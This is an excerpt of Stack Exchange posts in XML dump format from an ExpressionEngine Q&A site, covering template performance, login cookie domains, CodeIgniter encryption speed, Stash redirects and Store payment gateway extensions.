  <row Id="17910" PostTypeId="2" ParentId="17908" CreationDate="2013-12-22T19:03:52.970" Score="1" Body="&lt;p&gt;Regarding Solspacer User &amp;amp; Paypal... The Solspace User module brings membership forms into normal templates. That will be separate from anything you are doing with Paypal &amp;amp; payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe you &amp;amp; I have emailed before about adding a pay wall to your EE site... Here's a new non EE option that I found recently: &lt;a href=&quot;http://www.tinypass.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;TinyPass&lt;/strong&gt;&lt;/a&gt;. If it works as described on their site, it's a great option for adding paid content to a site.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-12-22T19:11:56.153" LastActivityDate="2013-12-22T19:11:56.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17911" PostTypeId="2" ParentId="17899" CreationDate="2013-12-22T19:26:10.493" Score="1" Body="&lt;p&gt;It's possible you are logged into the control panel at www.domain.com/system/ and looking at the front-end of the site using domain.com (without www). If this is the case, EE doesn't consider you &quot;logged in&quot;. You can change this in two ways... &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Force either www.domain.com or domain.com in the htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`RewriteCond %{HTTP_HOST} !^www\.domain\.com$ [NC]   &#xA; RewriteRule ^(.*)$ http://www.domain.com/$1 [R=301,L]`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then log into the control panel again if needed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Set the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/cookie_settings.html#cookie-domain&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;cookie domain&lt;/strong&gt;&lt;/a&gt; in the EE CP to &lt;code&gt;.domain.com&lt;/code&gt;... (change domain.com to your domain)&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-22T19:26:10.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17912" PostTypeId="2" ParentId="17896" CreationDate="2013-12-22T19:39:29.520" Score="1" Body="&lt;p&gt;I'd guess you are hitting a JS error which will be logged in the console or a PHP memory issue which should show in the PHP error logs. If you aren't seeing anything in the PHP error logs, set $debug = 1 in the /system/index.php file and reload the problem page.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-22T19:39:29.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17913" PostTypeId="1" CreationDate="2013-12-22T23:04:49.823" Score="4" ViewCount="208" Body="&lt;p&gt;I've been trying to track down some performance issues with an ExpressionEngine site, specifically around pages using CartThrob. I've been using XDebug and Webgrind, and noticed that CI_Encrypt-&gt;encode was causing the bulk of my performance issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much of the problem was resolved by enabling the PHP mcrypt module, although CI_Encrypt still seems to be the major bottleneck in my application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the problem seems to be with CI_Encrypt-&gt;_add_cypher_noise, which is taking almost 1.5 seconds to run just 40 times, accounting for over half of my page load time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to improve the performance of this function?&lt;/p&gt;&#xA;" OwnerUserId="2480" LastActivityDate="2014-04-08T08:27:58.967" Title="How to improve performance of CI_Encrypt-&gt;_add_cipher_noise?" Tags="|cartthrob|performance|codeigniter|encryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17914" PostTypeId="1" CreationDate="2013-12-23T02:45:49.510" Score="1" ViewCount="107" Body="&lt;p&gt;i started working on a simple extension that hooks to freeform's pro &quot;freeform_module_insert_begin&quot; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically the purpose of it is to check if the form has a &quot;file upload&quot; field(s) and if yes, then upload those files to S3 server and update the links that get submitted to database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was wondering what would be the easiest way to check if the form has upload file field(s)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers,&#xA;Mark&lt;/p&gt;&#xA;" OwnerUserId="2530" LastActivityDate="2013-12-23T12:06:46.857" Title="aws s3 upload for freeform pro upload field type" Tags="|solspace-freeform|file-uploads|s3|aws|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17915" PostTypeId="2" ParentId="17909" CreationDate="2013-12-23T06:34:23.643" Score="2" Body="&lt;p&gt;As of Store 2.1 gateways are now added as separate extensions outside of the actual Store folders. This makes it easier in the future to upgrade Store because you don't have to worry about overwriting your custom gateway. (Last item under &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_210&quot; rel=&quot;nofollow&quot;&gt;Developer&lt;/a&gt;). You can see an example of the folder structure in the example gateway &lt;a href=&quot;https://github.com/expressodev/store_check&quot; rel=&quot;nofollow&quot;&gt;Store Check&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-12-23T06:34:23.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17916" PostTypeId="1" CreationDate="2013-12-23T06:35:13.270" Score="1" ViewCount="54" Body="&lt;p&gt;Is it possible to do something like the condition below in channel entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Get all ids that are 88,99 and 100 but not 200,300 or 400&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The examples in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#entry-id-from&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, only shows to get certain ids&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_id=&quot;13|42|147&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or exclude certain ids&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_id=&quot;not 45|534|807&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to combine getting certain ids and excluding certain ids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-12-24T22:24:15.783" Title="Channel Entries - Possible to combine specifying specific ids and excluding other ids?" Tags="|channel-entries|" AnswerCount="2" CommentCount="2" ClosedDate="2014-04-16T06:48:18.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="17917" PostTypeId="1" AcceptedAnswerId="17939" CreationDate="2013-12-23T10:03:29.583" Score="1" ViewCount="741" Body="&lt;p&gt;I think I have a design issue which makes my site very slow! Probably I used the EE templating in the wrong way, however I can't find a better way, hopefully until now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From php I'm used to include files in a &lt;code&gt;if else&lt;/code&gt; structure so I will include the correct file if specific conditions are met. For the templates I do the same, but loading time's are up to 5 seconds for just loading a couple of channel entries (6). That can't be right!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at the moment I have the following which is very slow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template group called &quot;site&quot;. This index.html file is the index file of the page. All other template are loaded inside this template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;include/head&quot;}&#xA;  &amp;lt;body&amp;gt;&#xA;    {embed=&quot;include/header&quot;}&#xA;    // some HTML&#xA;&#xA;    {if segment_1 == ''}&#xA;      {embed=&quot;include/home&quot;}&#xA;    {if:elseif segment_1 == 'smartphone' OR segment_1 == 'tablet'}&#xA;       {embed=&quot;include/merk&quot;}&#xA;    {if:else}&#xA;      {embed=&quot;include/404&quot;}    &#xA;    {/if}&#xA;&#xA;    {embed=&quot;include/foot&quot;}&#xA;  &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the home page, where include/home is included, it loads just normal, within 1 second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when URL &lt;code&gt;segment_1&lt;/code&gt; is for example 'smartphone', it gets very slow.&#xA;So below the template &lt;code&gt;include/merk&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;row&quot; id=&quot;content&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;col-xs-11 midden&quot;&amp;gt;&#xA;  {if segment_2 == &quot;&quot;}&#xA;    {!-- De smartphone of tablet pagina met merken overzicht. --}&#xA;    &amp;lt;ul&amp;gt;&#xA;      {exp:channel:entries channel=&quot;merken&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; category=&quot;{segment_1_category_id}&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination&quot;}&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{segment_1}/{exp:stringy:lowercase}{title}{/exp:stringy:lowercase}&quot;&amp;gt;&amp;lt;img src=&quot;{merk_afbeelding}&quot; width=&quot;180&quot; height=&quot;133&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {if:elseif segment_2 != &quot;&quot; AND segment_3 == &quot;&quot;}&#xA;      &amp;lt;ul class=&quot;dropdown-menu drop-model&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;modellen&quot; orderby=&quot;volgorde&quot; sort=&quot;asc&quot; category=&quot;{segment_1_category_id}&quot; limit=&quot;999&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination&quot;}&#xA;          {if &quot;{segment_2}&quot; ==  &quot;{exp:stringy:lowercase}{merken:title}{/exp:stringy:lowercase}&quot;}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{exp:stringy:lowercase}/{segment_1}/{segment_2}/{url_title}{/exp:stringy:lowercase}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          {/if}&#xA;        {/exp:channel:entries}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;ul class=&quot;list-unstyled grid-type modellen&quot;&amp;gt;&#xA;      {exp:channel:entries channel=&quot;modellen&quot; orderby=&quot;volgorde&quot; sort=&quot;asc&quot; category=&quot;{segment_1_category_id}&quot; limit=&quot;999&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination&quot;}&#xA;        {if &quot;{exp:stringy:lowercase}{segment_2}{/exp:stringy:lowercase}&quot; ==  &quot;{exp:stringy:lowercase}{merken:title}{/exp:stringy:lowercase}&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&amp;lt;a href=&quot;{exp:stringy:lowercase}/{segment_1}/{segment_2}/{url_title}{/exp:stringy:lowercase}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img src=&quot;{model_afbeelding}&quot; alt=&quot;{title}&quot; width=&quot;100&quot; height=&quot;130&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;      {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;  {if:elseif segment_3 != &quot;&quot; AND segment_4 == &quot;&quot;}&#xA;    {exp:channel:entries channel=&quot;modellen&quot; url_title=&quot;{segment_3}&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination&quot;}&#xA;    {reparaties}&#xA;    &amp;lt;ul class=&quot;list-unstyled grid-reparatie&quot;&amp;gt;&#xA;       {items}  &#xA;       &amp;lt;li class=&quot;list-reparatie&quot;&amp;gt;&#xA;        &amp;lt;article&amp;gt;&#xA;          &amp;lt;h2 class=&quot;reparatie&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;      {/items}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    {/reparaties}&#xA;    {/exp:channel:entries}&#xA;  {/if}&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's an if else structure that determines what to show. The first if, &lt;code&gt;segment_2 == &quot;&quot;&lt;/code&gt; will load some channel entries. There are about 6 entries that will match. However loading time takes up to 5 seconds!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I created a group called &lt;code&gt;smartphone&lt;/code&gt; and put a part of the first if condition in the index.html file (only the 6 channel entries loaded). Now the page loads in less than 1 second.&#xA;The URL would be &lt;a href=&quot;http://www.mywebsite.nl/smartphone&quot; rel=&quot;nofollow&quot;&gt;http://www.mywebsite.nl/smartphone&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After smartphone, there will be a brand, for example apple and the URL would be &lt;a href=&quot;http://www.mywebsite.nl/smartphone/apple&quot; rel=&quot;nofollow&quot;&gt;http://www.mywebsite.nl/smartphone/apple&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The brand however is loaded from a channel entries with a url-title 'apple'. So if I now use the mentioned URL, it will load the index.html file in the template group 'smartphone' because the template apple.html doesn't exist. But this index file does not load the models of apple, but is loads the brands... So I would need to use a if else structure again what makes it really slow...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like it is loading everything in the other if else conditions to, which makes it so slow. But I suppose that if EE conditions in a if statement doesn't match, it will not do anything with that code!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So.. what am I doing wrong...&lt;/p&gt;&#xA;" OwnerUserId="1700" LastEditorUserId="1700" LastEditDate="2013-12-23T10:09:50.767" LastActivityDate="2013-12-24T11:49:08.973" Title="Website very slow" Tags="|templates|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17918" PostTypeId="2" ParentId="17899" CreationDate="2013-12-23T10:56:07.833" Score="1" Body="&lt;p&gt;The problem might be the S=0 part. That does only work if you have control panel security set to cookie only. By default the CP is set to Session_id too. For session_id to work with &quot;edit&quot; links from the front-end, you currently need to get the fingerprint / session_id with a little add-on (or with PHP, which i'm not a fan of in templates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a small plugin i created and use for this&lt;br&gt;&#xA;&lt;a href=&quot;https://gist.github.com/GDmac/8095086&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/GDmac/8095086&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(edit: issue is accepted, but is not in current EE.&lt;br&gt;&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19501&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19501&lt;/a&gt;&lt;br&gt;&#xA;with php in template work-around)&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-12-23T11:07:44.393" LastActivityDate="2013-12-23T11:07:44.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17919" PostTypeId="2" ParentId="17917" CreationDate="2013-12-23T11:23:25.233" Score="2" Body="&lt;p&gt;As has been mentioned in a comment, EE will process each embed within the if:else structure before deciding what to do so it will slow your site down considerably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, looking at what you're doing, why not use EE's template/entry url structure to achieve what you're doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a template group for Smartphone. &#xA;Then create your index template within that group, loading the embed you need (or use the code directly on the templates if possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may then be able to use EE's native url parsing to do the rest of the work being done by &quot;merk&quot;. But even if not then I think you could possibly rationalise the content of that template (especially the conditional logic) down to make it a bit quicker.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-12-23T11:23:25.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17920" PostTypeId="2" ParentId="17913" CreationDate="2013-12-23T11:36:51.617" Score="1" Body="&lt;p&gt;The following article suggests that the Codeigniter add_cipher_noise method might fall in the category &quot;don’t come up with your own way to solve a (possible) vulnerability&quot;. I doubt this will be fixed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article suggests using hmac over the IV. I don't know if you could shoehorn in using the PHP internal hash_hmac() function instead of the custom add_cipher_noise, and/or if that would/could speed up things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cryptofails.com/post/70059597528/codeigniter-encryption-is-not-authentication&quot; rel=&quot;nofollow&quot;&gt;http://www.cryptofails.com/post/70059597528/codeigniter-encryption-is-not-authentication&lt;/a&gt; (juli 2013) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; : CodeIgniter 3.dev has a new library that adds standard authenticated encryption. (old: Encrypt.php new/extra Encryption.php). &lt;a href=&quot;https://github.com/EllisLab/CodeIgniter/blob/develop/system/libraries/Encryption.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/CodeIgniter/blob/develop/system/libraries/Encryption.php&lt;/a&gt;&lt;br&gt;&#xA;and here is the raw manual&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/EllisLab/CodeIgniter/blob/develop/user_guide_src/source/libraries/encryption.rst&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/CodeIgniter/blob/develop/user_guide_src/source/libraries/encryption.rst&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-04-08T08:27:58.967" LastActivityDate="2014-04-08T08:27:58.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17921" PostTypeId="1" AcceptedAnswerId="17927" CreationDate="2013-12-23T11:51:35.323" Score="0" ViewCount="74" Body="&lt;p&gt;Basically i want to know if its possible for expression engines if tag to check if a wygwam field contains images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know its possible to pull through just images like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    {my_wygwam_field images_only=&quot;yes&quot;}&#xA;      (code for images)&#xA;    {/wygwam_field}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but what if i want to check whether that tag returns any results. I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{if my_wygwam_field images_only=&quot;yes&quot;}&#xA;    {my_wygwam_field images_only=&quot;yes&quot;}&#xA;       (image code)&#xA;    {/wygwam_field}&#xA;{/if}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it didn't seem to work. Any suggestions&lt;/p&gt;&#xA;" OwnerUserId="2531" LastActivityDate="2013-12-23T14:09:29.077" Title="Wygwam if conditional" Tags="|wygwam|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17924" PostTypeId="1" CreationDate="2013-12-23T12:49:59.773" Score="0" ViewCount="51" Body="&lt;p&gt;I want to clear out all of the files and folders in Assets.  We have been testing and am now ready to start using in anger.  Is there a way to do this without deleting directly in the DB?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pete&lt;/p&gt;&#xA;" OwnerUserId="2533" LastActivityDate="2013-12-23T14:07:03.390" Title="Bulk delete of images &amp; folders in P&amp;T Assets" Tags="|assets|pixelandtonic|delete|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17925" PostTypeId="2" ParentId="17916" CreationDate="2013-12-23T13:11:59.847" Score="2" Body="&lt;p&gt;As stuart says passing all the id's you would like to include should automatically exclude all those not passed in the entry_id parameter.&lt;/p&gt;&#xA;" OwnerUserId="2531" LastActivityDate="2013-12-23T13:11:59.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17926" PostTypeId="2" ParentId="17924" CreationDate="2013-12-23T14:07:03.390" Score="1" Body="&lt;p&gt;Yes - you can multi-select files in the Assets module control panel, then right-click and choose &quot;Delete&quot; from the custom contextual menu.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-23T14:07:03.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17927" PostTypeId="2" ParentId="17921" CreationDate="2013-12-23T14:09:29.077" Score="2" Body="&lt;p&gt;You just need to vary your syntax slightly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{my_wygwam_field images_only=&quot;yes&quot;}'}&#xA;    {my_wygwam_field images_only=&quot;yes&quot;}&#xA;       (image code)&#xA;    {/wygwam_field}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you're actually telling EE to parse that first tag (inside the conditional statement) - you need to do it this way because it's a tag pair requiring a parameter,so simple conditional checking won't work.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-23T14:09:29.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17929" PostTypeId="2" ParentId="16752" CreationDate="2013-12-23T15:38:19.900" Score="-1" Body="&lt;p&gt;Here is how it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot;}&#xA;   {product_detail_image}&#xA;      &amp;lt;img src=&quot;{product_detail_image:product_image}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;   {/product_detail_image}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot;}&#xA;       {product_detail_image}&#xA;          {product_detail_image:product_image limit=&quot;1&quot;}&#xA;             &amp;lt;img src=&quot;{url}&quot;/&amp;gt;&#xA;          {/product_detail_image:product_image}&#xA;       {/product_detail_image}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i think that you dont need this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1600" LastActivityDate="2013-12-23T15:38:19.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17930" PostTypeId="2" ParentId="17909" CreationDate="2013-12-23T19:21:02.620" Score="2" Body="&lt;p&gt;Just to expand on Justin's answer a little, payment gateways in Store 2.1 can now be registered as separate extensions. This means you don't need to copy anything into the &lt;code&gt;third_party/store&lt;/code&gt; folder or worry about re-copying files when you upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension hook you need to use is called &lt;code&gt;store_payment_gateways&lt;/code&gt;. If you are unfamiliar with ExpressionEngine extension development, it's probably worth reviewing the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;extension development guide&lt;/a&gt; first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the extension hook, you need to first add your gateway name to Store's list of gateways, then tell Store where to find your gateway files (so they can be autoloaded when needed). Here is a complete example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * This hook is called when Store is searching for available payment gateways&#xA; * We will use it to tell Store about our custom gateway&#xA; */&#xA;public function store_payment_gateways($gateways)&#xA;{&#xA;    // tell Store about our new payment gateway&#xA;    // (this must match the name of your gateway in the Omnipay directory)&#xA;    $gateways[] = 'Check';&#xA;&#xA;    // tell PHP where to find the gateway classes&#xA;    // Store will automatically include your files when they are needed&#xA;    $composer = require(PATH_THIRD.'store/autoload.php');&#xA;    $composer-&amp;gt;add('Omnipay', __DIR__);&#xA;&#xA;    return $gateways;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a complete example, check out these existing third-party gateways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/expressodev/store_check&quot; rel=&quot;nofollow&quot;&gt;Check&lt;/a&gt; - our example custom gateway which simply creates an additional &quot;Manual&quot; payment gateway&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/amphibian/store-beanstream&quot; rel=&quot;nofollow&quot;&gt;Beanstream&lt;/a&gt; by Derek Hogue&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-23T19:21:02.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17932" PostTypeId="1" AcceptedAnswerId="17933" CreationDate="2013-12-23T23:49:41.893" Score="0" ViewCount="286" Body="&lt;p&gt;It seems many users have issues with Stash and &lt;code&gt;no_results&lt;/code&gt;, but as far as I can tell, nobody is trying to do this scenario. Please forgive me if I missed something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to redirect users to a page if they stumble on the URL for a specific entry for which they do not have permissions, determined by some custom fields specified in &lt;code&gt;{lv_permissions}&lt;/code&gt;. To make permissions work, I needed to wrap the entries block in &lt;code&gt;exp:stash:parse process=&quot;end&quot;&lt;/code&gt;, but that seems to have killed my &lt;code&gt;{if no_results}{redirect=&quot;site/1&quot;}{/if}&lt;/code&gt; line. No redirect occurs, though the content also does not show up, which is good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an explanation for this behavior and some proper syntax?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lv_permissions}&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;my_channel&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;    limit=&quot;1&quot;&#xA;    {stash:permissions}&#xA;  }&#xA;    {if no_results}{redirect=&quot;site/1&quot;}{/if}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried the &lt;code&gt;no_results_prefix&lt;/code&gt; concept, but that doesn’t seem to work for &lt;code&gt;exp:stash:parse&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1335" LastActivityDate="2013-12-24T19:51:53.027" Title="How to use stash:parse and no_results" Tags="|stash|no-results|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17933" PostTypeId="2" ParentId="17932" CreationDate="2013-12-23T23:49:41.893" Score="2" Body="&lt;p&gt;I found if I repeat the &lt;code&gt;no_results&lt;/code&gt; line, the redirect works. If I just write it once, no redirect occurs, though the content also does not show up, which is good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an explanation for this behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigating to a URL I should not have access to as a logged in user redirects me to /site/1 using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lv_permissions}&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;my_channel&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;    limit=&quot;1&quot;&#xA;    {stash:permissions}&#xA;  }&#xA;    {if no_results}{/if}&#xA;    {if no_results}{redirect=&quot;site/1&quot;}{/if}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, but clearly it’s wonky.&lt;/p&gt;&#xA;" OwnerUserId="1335" LastActivityDate="2013-12-23T23:49:41.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17934" PostTypeId="1" AcceptedAnswerId="17941" CreationDate="2013-12-24T00:08:20.577" Score="0" ViewCount="107" Body="&lt;p&gt;I am using BrilliantRetail and on my product page, I have tabs with different information about the products. The code for the tabs is pretty long so I would like to make it an include and then embed it within my loop. However, when I do this, the channel fields aren't recognized, is there any way to accomplish this without putting the loop inside the include? Also, please let me know if there is a better way to accomplish my IF statement for the store IDs. Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:brilliant_retail:product}&#xA;&#xA;        &amp;lt;div class=&quot;inner_container&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;product_detail&quot;&amp;gt;&#xA;                {if &quot;{store_id}&quot; == &quot;2641&quot; OR &quot;{store_id}&quot; == &quot;2635&quot; OR &quot;{store_id}&quot; == &quot;2572&quot; OR &quot;{store_id}&quot; == &quot;2619&quot; OR &quot;{store_id}&quot; == &quot;2576&quot;}&#xA;                    {embed=&quot;_includes/tabs&quot;}&#xA;                {if:else}&#xA;                    {detail}&#xA;                {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:brilliant_retail:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2013-12-24T12:38:56.710" Title="Having embeded include use channel fields" Tags="|channel|embeds|ifelse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
